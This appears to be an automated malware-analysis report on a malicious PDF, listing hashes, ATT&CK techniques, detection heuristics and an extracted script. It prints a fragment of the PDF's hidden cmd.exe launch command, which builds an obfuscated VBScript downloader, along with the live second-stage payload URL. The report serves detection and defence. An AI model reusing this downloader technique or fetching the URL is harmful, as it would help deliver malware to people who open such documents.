PDF malware analysis — malicious · 4250bf2e8c6f1d64

MALICIOUS

PDF

803 B

MD5: a7efa50a1603403b191eb6e8050a12a3 SHA-1: c6a194e6c6d8aede7dd7eac5e758a4484f91ac67 SHA-256: 4250bf2e8c6f1d64889ba58764c849a8cd985cfb4867d1991972995ae53bb0ae

120 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command attempts to create a VBScript file named 'm.vbs' by concatenating strings and then likely executes it. The script is designed to download and execute a second-stage payload from the embedded URL http://111001100111.net/bd/tmp/m.vbs. The obfuscated string 'PTTHLMX.2LMXSM' likely decodes to 'Microsoft.XMLHTTP' or similar, used for downloading.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://111001100111.net/bd/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

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